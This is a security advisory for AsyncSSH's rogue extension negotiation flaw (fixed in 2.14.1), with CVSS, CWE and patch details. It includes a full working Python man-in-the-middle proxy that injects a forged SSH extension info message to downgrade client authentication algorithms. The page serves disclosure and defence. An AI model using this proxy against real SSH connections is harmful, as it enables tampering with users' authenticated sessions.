AsyncSSH Rogue Extension Negotiation

Description

Summary

An issue in AsyncSSH v2.14.0 and earlier allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack.

Details

The rogue extension negotiation attack targets an AsyncSSH client connecting to any SSH server sending an extension info message. The attack exploits an implementation flaw in the AsyncSSH implementation to inject an extension info message chosen by the attacker and delete the original extension info message, effectively replacing it.

A correct SSH implementation should not process an unauthenticated extension info message. However, the injected message is accepted due to flaws in AsyncSSH. AsyncSSH supports the server-sig-algs and global-requests-ok extensions. Hence, the attacker can downgrade the algorithm used for client authentication by meddling with the value of server-sig-algs (e.g. use of SHA-1 instead of SHA-2).

PoC

<details>
<summary>AsyncSSH Client 2.14.0 (simple_client.py example) connecting to AsyncSSH Server 2.14.0 (simple_server.py example)</summary>

```python
#!/usr/bin/python3
import socket
from threading import Thread
from binascii import unhexlify

#####################################################################################
## Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ##
##                                                                                 ##
## Client(s) tested: AsyncSSH 2.14.0 (simple_client.py example)                    ##
## Server(s) tested: AsyncSSH 2.14.0 (simple_server.py example)                    ##
##                                                                                 ##
## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0    ##
#####################################################################################

# IP and port for the TCP proxy to bind to
PROXY_IP = &#x27;127.0.0.1&#x27;
PROXY_PORT = 2222

# IP and port of the server
SERVER_IP = &#x27;127.0.0.1&#x27;
SERVER_PORT = 22

# Length of the individual messages
NEW_KEYS_LENGTH = 16
SERVER_EXT_INFO_LENGTH = 676

newkeys_payload = b&#x27;\x00\x00\x00\x0c\x0a\x15&#x27;
def contains_newkeys(data):
    return newkeys_payload in data

# Empty EXT_INFO here to keep things simple, but may also contain actual extensions like server-sig-algs
rogue_ext_info = unhexlify(&#x27;0000000C060700000000000000000000&#x27;)
def insert_rogue_ext_info(data):
    newkeys_index = data.index(newkeys_payload)
    # Insert rogue extension info and remove SSH_MSG_EXT_INFO
    return data[:newkeys_index] + rogue_ext_info + data[newkeys_index:newkeys_index + NEW_KEYS_LENGTH] + data[newkeys_index + NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:]

def forward_client_to_server(client_socket, server_socket):
    try:
        while True:
            client_data = client_socket.recv(4096)
            if len(client_data) == 0:
                break
            server_socket.send(client_data)
    except ConnectionResetError:
        print(&quot;[!] Client connection has been reset. Continue closing sockets.&quot;)
    print(&quot;[!] forward_client_to_server thread ran out of data, closing sockets!&quot;)
    client_socket.close()
    server_socket.close()

def forward_server_to_client(client_socket, server_socket):
    try:
        while True:
            server_data = server_socket.recv(4096)
            if contains_newkeys(server_data):
                print(&quot;[+] SSH_MSG_NEWKEYS sent by server identified!&quot;)
                if len(server_data) &lt; NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:
                    print(&quot;[+] server_data does not contain all messages sent by the server yet. Receiving additional bytes until we have 692 bytes buffered!&quot;)
                while len(server_data) &lt; NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:
                    server_data += server_socket.recv(4096)
                print(f&quot;[d] Original server_data before modification: {server_data.hex()}&quot;)
                server_data = insert_rogue_ext_info(server_data)
                print(f&quot;[d] Modified server_data with rogue extension info: {server_data.hex()}&quot;)
            if len(server_data) == 0:
                break
            client_socket.send(server_data)
    except ConnectionResetError:
        print(&quot;[!] Target connection has been reset. Continue closing sockets.&quot;)
    print(&quot;[!] forward_server_to_client thread ran out of data, closing sockets!&quot;)
    client_socket.close()
    server_socket.close()

if __name__ == &#x27;__main__&#x27;:
    print(&quot;--- Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ---&quot;)
    mitm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    mitm_socket.bind((PROXY_IP, PROXY_PORT))
    mitm_socket.listen(5)

    print(f&quot;[+] MitM Proxy started. Listening on {(PROXY_IP, PROXY_PORT)} for incoming connections...&quot;)

    try:
        while True:
            client_socket, client_addr = mitm_socket.accept()
            print(f&quot;[+] Accepted connection from: {client_addr}&quot;)
            print(f&quot;[+] Establishing new server connection to {(SERVER_IP, SERVER_PORT)}.&quot;)
            server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            server_socket.connect((SERVER_IP, SERVER_PORT))
            print(&quot;[+] Spawning new forwarding threads to handle client connection.&quot;)
            Thread(target=forward_client_to_server, args=(client_socket, server_socket)).start()
            Thread(target=forward_server_to_client, args=(client_socket, server_socket)).start()
    except KeyboardInterrupt:
        client_socket.close()
        server_socket.close()
        mitm_socket.close()

```
</details>

Impact

Algorithm downgrade during user authentication.

Basic information

Type
reviewed
Severity
medium
Advisory on GitHub
Open advisory ↗
Repository advisory
Open repository advisory ↗
Source code
Browse source ↗
Published (advisory)
2023-11-09 18:34:53 UTC
Updated
2025-11-04 16:46:52 UTC
GitHub reviewed
2023-11-09 18:34:53 UTC
NVD published
2023-11-13

EPSS Score

Score Percentile
0.49% 65.36%

CVSS Scores

Base score Version Severity Vector
5.3 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network—not just someone sitting at the machine.
Attack complexity (AC:L)
Once they can reach the bug, pulling it off is straightforward—no weird race conditions or rare setup.
Privileges required (PR:N)
No account or special rights needed—anonymous or random user is enough.
User interaction (UI:N)
Nobody has to click “OK” or open a trap file; it can work without a victim helping.
Scope (S:U)
Damage stays in the same “trust bubble” as the broken component—no big spill into unrelated systems.
Confidentiality (C:N)
Doesn’t really leak secrets in a meaningful way.
Integrity (I:L)
Attackers could change some data, but it’s limited—not everything goes.
Availability (A:N)
Service keeps running; no real outage angle.

Identifiers

CWEs

CWE id Name
CWE-345 Insufficient Verification of Data Authenticity
CWE-349 Acceptance of Extraneous Untrusted Data With Trusted Data
CWE-354 Improper Validation of Integrity Check Value

Credits

  • TrueSkrillor (finder)
  • lambdafu (finder)

Affected packages (1)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
pip asyncssh < 2.14.1 2.14.1

References

cvelogic Threat Intelligence